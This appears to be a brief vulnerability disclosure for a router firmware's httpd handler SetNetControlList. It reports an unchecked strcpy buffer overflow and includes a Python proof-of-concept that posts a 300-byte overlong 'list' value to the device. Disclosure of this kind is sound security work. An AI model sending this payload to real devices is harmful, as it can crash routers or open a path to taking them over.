version: V22.03.02.10
There is a buffer overflow in httpd/SetNetControlList
you may download it from : http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=2&ids=36
get value from list and send it to sub_43157C
don't check the length of a1 and call strcpy
url = "http://192.168.1.13/goform/SetNetControlList"
payload = 'A'*300 + '\n'
r = requests.post(url, data={'list': payload})